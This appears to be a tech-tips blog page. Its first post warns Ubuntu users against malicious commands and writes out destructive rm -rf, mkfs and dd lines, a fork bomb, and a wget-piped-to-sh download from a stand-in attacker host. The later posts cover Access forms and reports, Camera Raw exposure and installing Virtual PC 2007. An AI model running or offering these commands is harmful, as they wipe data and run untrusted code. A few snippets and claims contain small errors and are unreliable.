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Malicious Commands You Should NOT Run in Ubuntu!

I knew this was going to happen someday, as Ubuntu is more and more popular each day. It seems that there is a growing trend to offer malicious commands to new and inexperienced Ubuntu users on Ubuntu forums and not only there. Therefore I thought it would be a very smart idea to take a moment to review all these malicious commands, that you should NOT execute in a terminal.

The following commands can cause massive damage to your Ubuntu operating system! Please DO NOT execute any of them, just read and learn!

CODE:
sudo rm -rf / (This will delete all your files on your system) - Needs administrator rights! sudo rm -rf . (This will delete the current directory your in) - Needs administrator rights! sudo rm -rf * (This will delete all the files in the current folder) - Needs administrator rights! rm -rf * or rm -rf *.* (This will delete all the files in the current folder) - No administrator rights needed! rm -rf ~ / & (This will destroy your home directory) - No administrator rights needed!

All the below commands will erase your hard drive! CODE:
sudo mkfs (This will format your hard drive) - Needs administrator rights!
sudo mkfs.ext3 (This will format your hard drive) - Needs administrator rights!
sudo mkfs.bfs (This will format your hard drive) - Needs administrator rights!
sudo mkfs.cramfs (This will format your hard drive) - No administrator rights needed!
sudo mkfs.ext2 (This will format your hard drive) - Needs administrator rights!
sudo mkfs.minix (This will format your hard drive) - Needs administrator rights!
sudo mkfs.msdos (This will format your hard drive) - Needs administrator rights!
sudo mkfs.reiserfs (This will format your hard drive) - Needs administrator rights!
sudo mkfs.vfat (This will format your hard drive) - Needs administrator rights!

The dd command can be very dangerous, especially when you have no idea what it does! Below are some examples, but remember that these can vary often! CODE:
sudo dd if=/dev/zero of=/dev/hda (VERY DANGEROUS COMMAND! It will zero out the whole primary IDE hard drive) (Needs administrator rights)
sudo dd if=/dev/hda of=/dev/hdb (Needs administrator rights)
sudo dd if=something of=/dev/hda (Needs administrator rights)

WARNING: /dev/hda and /dev/hdb from the above example can be replaced with /dev/sda or /dev/sdb or any partition or hard drive you may have on your system!

Block device manipulation: Causes raw data to be written to a block device. Often times this will clobber the filesystem and cause total loss of data!

CODE:
any_command > /dev/sda
dd if=something of=/dev/sda

Forkbomb: It is a malicious script that will execute a huge number of processes until your system freezes, forcing you to do a hard reboot which may cause data corruption or data damage.

The below command looks really intriguing and curiosity may lead new and inexperienced users to execute it! DON'T EXECUTE THEM!

CODE:
:(){:|:&};:

CODE:
fork while fork

Tarbomb: Let's say that someone who wants to help you, offers you a tar.gz or tar.bz2 archive and he asks you to extract it into an existing directory. This archive can be crafted to explode into a million of files, or inject other existing files into the system by guessing their filenames. You should make the habit of decompressing tar.gz or tar.bz2 archives inside a newly created directory!

Decompression bomb: Here's another example. Let's say someone asks you to extract an archive which appears to be a small download. In reality it's highly compressed data and will inflate to hundreds of Gigabites, filling your hard drive until it freezes! You should not touch data from an untrusted source!

Shellscript: This one is also very dangrous! Someone gives you a link to download, to a shellscript and then he asks you to execute it. This script can contain any command he chooses (from the above examples). Do not execute code from people you don't trust! Here are some examples:

CODE:
wget http://some_place/some_file
sh ./some_file

Example: wget http://hax018r.org/malicious-script
sh ./malicious-script

or

CODE:
wget http://some_place/some_file -O- | sh
Example: wget http://hax018r.org/malicious-script -O- | sh
WARNING: Remember that the above examples can have any name!

No Comment | Posted in » access tips, Linux, malicious command, malware, ubuntu  

How to grab user attention with blinking text in an Access form

A virus scan that I use blows what sounds like a foghorn when it’s done. I try to be out of the room because it’s so loud and annoying. I prefer a gentler approach. Blinking signs are a good attention-getter, without being harsh.

There are two ways to blink a control or text: on and off or by switching colors. Of course, blinking text won’t replace a sound cue, but done well, it’s easy on the eyes and nerves.To blink on and off, use a Timer event in the following form:

Private Sub Form_Timer()
Me!control.Visible = Not Me!control.Visible
End Sub

Each time the form executes its timer event, this code toggles the control’s Visible property. You can use this simple technique to blink just about any control, but the control can’t have focus at the time.
Switching between two colors is just as easy:

Private Sub Form_Timer()
With Me!control
.ForeColor = IIf(.ForeColor) = color1, color2, color1)
End With
End Sub

The form’s timer event alternates between color1 and color2. Use integer values or constants for colors. For instance, use 0 or vbBlack for black, and 255 or vbRed for red. This probably works best with a label or command button, but you could use it with any control that has a Fore Color property.

Blinking text doesn’t necessary mean the user has to do anything, but it can. How the user reacts to the text is really up to you. In both of these simple events, the blinking is continuous; it won’t stop when the user takes some action.
If the control or text fails to blink, check the form’s Timer Interval property. A setting of 500 creates a reasonable blink. A setting of 50 is so fast that it creates a neon effect. This works only with forms, as reports don’t have a Timer event.

Private Sub Form_Timer()
Me!control.Visible = Not Me.control.visible
End Sub

No Comment | Posted in » Access, access tips, office 2007  

Adjusting Exposure in Adobe Camera Raw CS3

For those digital photographers interested in the dark side, an old SLR loaded with a fine-grain black and white film is a hard act to follow. The liquid smooth transitions and black velvet-like quality of dark low-key prints of yesteryear is something that digital capture is hard pressed to match.

The sad reality of digital capture is that underexposure in low light produces an abundance of noise and banding (steps rather than smooth transitions of tone). The answer, however, is surprisingly simple for those who have access to a DSLR and have selected the Raw format from the Quality menu settings in their camera. Simply be generous with your exposure to the point of clipping or overexposing your highlights and only attempt to lower the exposure of the shadows in Adobe Camera Raw.



STEP 1
The first step is the most difficult to master for those who are used to using Auto or Program camera exposure modes. Although the final outcome may require deep shadow tones, the aim in digital low-key camera exposure is to first get the shadow tones away from the left-hand wall of the histogram by increasing and NOT decreasing the exposure. It is vitally important, however, not to increase the exposure so far that you lose or clip highlight detail.

The original exposure of the image used in this project reveals that the shadow tones (visible as the highest peaks in the histogram) have had a generous exposure in-camera so that noise and banding have been avoided (the tones have moved well to the right in the histogram). The highlights, however, look as though they have become clipped or overexposed. The feedback from the histogram on the camera's LCD would have confirmed the clipping at the time of exposure (the tall peak on the extreme right-hand side of the histogram) and if you had your camera set to warn you of overexposure, the highlights would have been merrily flashing at you to ridicule you of your sad attempts to expose this image.

The typical DSLR camera is, however, a pessimist when it comes to clipped highlights and ignorant of what is possible in Adobe Camera Raw. Adobe Camera Raw can recover at least one stop of extra highlight information when the Exposure slider is dragged to the left (so long as the photographer has used a DSLR camera that has a broader dynamic range than your typical fixed lens compact digicam).




'Exposing right'
When the Auto checkbox in the Exposure slider is checked, Adobe Camera Raw often attempts to rescue overexposed highlights automatically. With a little knowledge and some attention to the camera's histogram during the capture stage, you can master the art of pushing your highlights to the edge.

So if your model is not in a hurry (mine is watching a half-hour TV show) you can take an initial exposure on Auto and then check your camera for overexposure. Increase the exposure using the exposure compensation dial on the camera until you see the flashing highlights. When the flashing highlights start to appear you can still add around one extra stop to the exposure before the highlights can no longer be recovered in Adobe Camera Raw. The popular term for this peculiar behavior is called 'exposing right'.

Performance Tip
If the highlights are merrily flashing and the shadows are still banked up against the left-hand wall of the histogram, the solution is to increase the amount of fill light, i.e. reduce the difference in brightness between the main light source and the fill light. If you are using flash as the source of your fill light, it would be important to drop the power of the flash by at least two stops and choose the 'Slow-Sync' setting (a camera flash setting that balances both the ambient light exposure and flash exposure) so that the flash light does not overpower the main light source positioned behind your subject. The harsh light from the on-camera flash can also be diffused using a diffusion device.



STEP 2
Before we massage the tones to create our low-key image we must first check that our tones are smooth and free from color and luminance noise. Zoom in to 100% magnification for an accurate preview and look for any problems in the smooth dark-toned areas. Setting both the Luminance Smoothing and Color Noise Reduction sliders to 25 (found in the Detail tab) removes the noise in this image. I would also recommend that the Sharpness slider be set to 0 at this point. Rather than committing to global sharpening using the Adobe Camera Raw dialog box, selective sharpening in the main Photoshop editing space may help to keep the tones as smooth as possible.




STEP 3
Create the low-key look by moving the Exposure and/or the Brightness sliders to the left in the Basic tab. You can continue to drop these sliders until the highlights start to move away from the right-hand wall of the histogram. Select the 'White Balance Tool' and move your mouse cursor over the deeper shadows – this will give you an idea of the RGB values you are likely to get when this image is opened into the editing space. Once you approach an average of 15 to 20 in all three channels the low-key look should have been achieved.

No Comment | Posted in » access tips, CS3, Graphic design, Photoshop  

Installing Virtual PC 2007

Virtual PC 2007 gives you an easy and cost-efficient way of consolidating multiple operating systems and legacy applications on to a single computer. Instead of using a dedicated computer for every OS and application you require, you can install them on a single computer within virtual machines. You can switch between the virtual machines as though you are switching between applications.

In this article, I will outline the hardware and software requirements for installing Virtual PC 2007. I will then discuss how to install Virtual PC 2007 on Windows XP Professional.

System requirements

The computer that you are installing Virtual PC on (also referred to as the host computer) must meet a set of minimum hardware and software requirements. The minimum hardware requirements include:

• 400 MHz process with L2 cache (1 GHz is recommended)
• CD-ROM or DVD drive
• Super VGA or higher
• Keyboard and mouse (or other pointing device)

You can install Virtual PC 2007 on any of the following host OSs:

• Microsoft Vista Business
• Microsoft Vista Enterprise
• Microsoft Vista Ultimate
• Microsoft Windows XP Professional
• Microsoft XP Tablet PC Edition

Disk space and memory requirements vary depending on the guest OS. The table below outlines the disk and memory requirements.

Remember, these values represent the minimum requirements to run the guest OS. You also need to take into account the memory required to run the host OS.

Obtaining Virtual PC 2007

Unlike the previous version of Virtual PC, you can download and install Virtual PC 2007 at no cost. You can get a copy directly from Microsoft's Web site. Press the Download button beside the version you want to download. From the Security Warning dialog box, press Save and choose the location where you want the executable saved.

Once you have downloaded the setup file, you can proceed with the installation steps I describe in this article.

Installing Virtual PC 2007

There are two different scenarios for installing Virtual PC 2007. You can proceed with a new installation or, if you are running Virtual PC 2004, you can upgrade directly to the latest version.

Performing a clean installation

Assuming that your computer meets all the hardware and software requirements outlined earlier, you can continue with the installation steps. Complete the steps I describe below if you are installing Virtual PC 2007 on a computer that is not running Virtual PC 2004 Service Pack SP1.

1. Locate the Virtual PC 2007 set up file. Double-click setup.exe to launch the Setup wizard.
2. Press Run if you receive the security warning.
3. Press Next when the Microsoft Virtual PC 2007 wizard appears.
4. Accept the terms in the license agreement and press Next.
5. Enter your customer information, as shown in Figure A. Choose whether to install the application for anyone who logs onto the computer (default) or for the current user only. Press Next.
6. Set up installs the application to C:\Program Files\Microsoft Virtual PC. Press the Change button to select a different location, as shown in Figure B.
7. Press Install.
8. Press Finish.

Figure A

Enter your customer information. Choose whom to install the application for.

Figure B

Use the Change button to select a different location for the installation.

Upgrading to Virtual PC 2007

If you need to upgrade an existing version of Virtual PC, you can follow the steps described in the previous section for performing a clean installation. The main difference is that you must first complete these preliminary tasks to prepare the computer for the upgrade:

• Turn off all virtual machines
• Perform a backup of all Virtual PC files
• Virtual PC configuration file (options.xml)
• Virtual machine configuration (.vmc) files
• Virtual hard disk (.vhd) files
• Undo disk (.vud) files

You can now proceed with the numbered steps described in the section above.

You cannot upgrade from Virtual PC 2004 to Virtual PC 2007. You must uninstall Virtual PC 2004 and proceed with performing a clean installation of Virtual PC 2007.

Virtualization in a few steps

As you can see, there are minimal requirements your computer must meet before implementing Virtual PC 2007. Your main concern is making sure your computer is equipped with sufficient hardware to run both the host and guest OSs.

If your computer meets all the hardware and software requirements, you can move on to the installation. The process is very straightforward with a wizard to walk you through the setup.

No Comment | Posted in » access tips, Client-server, Computer, Technology, Virtual PC  

Quickly summarize group data in Access 2007 reports

Access 2007 makes it easy to compile a summary from your group data -- in fact, there's even a special dialog box for it. Here's how to create a thorough Access report using group data.

With Access 2007, you don't have to know how to add a control to your report to summarize group data. You simply click the field name in the report and make the appropriate selections in the Grouping dialog box.

For example, say you want to create a report that groups all customers by their city of residence. You want the report to total the number of customers that come from each city. Follow these steps:

1. Click the Customers database table in the Navigation bar.
2. Click the Create tab.
3. Click the Report Wizard button.
4. Double-click the City in the field list.
5. Double-click Last Name in the field list.
6. Double-click First Name in the field list.
7. Click Next.
8. Double-click City in the field list.
9. Click Next.
10. Click the drop-down arrow of the first text box and select Last Name.
11. Click Next twice.
12. Click Aspect.
13. Click Next.
14. Name the report Customer City Data and then click Finish.
15. Right-click the displayed report and select Layout View.
16. Click the City label in the report.
17. Click the Group and Sort button under the Grouping and Tools Group section under Format.
18. Click More.
19. Click with No Totals arrow.
20. Select City from Total On the drop-down list.
21. Select Count Records from the Type drop-down list.
22. Click the Show in group footer check box.
23. Click the Show Grand Total check box.
24. Click the Close Grouping Dialog button.

The report now includes the total number of records that are included in each city group, as well as the total number of records in the entire report.

No Comment | Posted in » Access, access tips, Microsoft, office 2003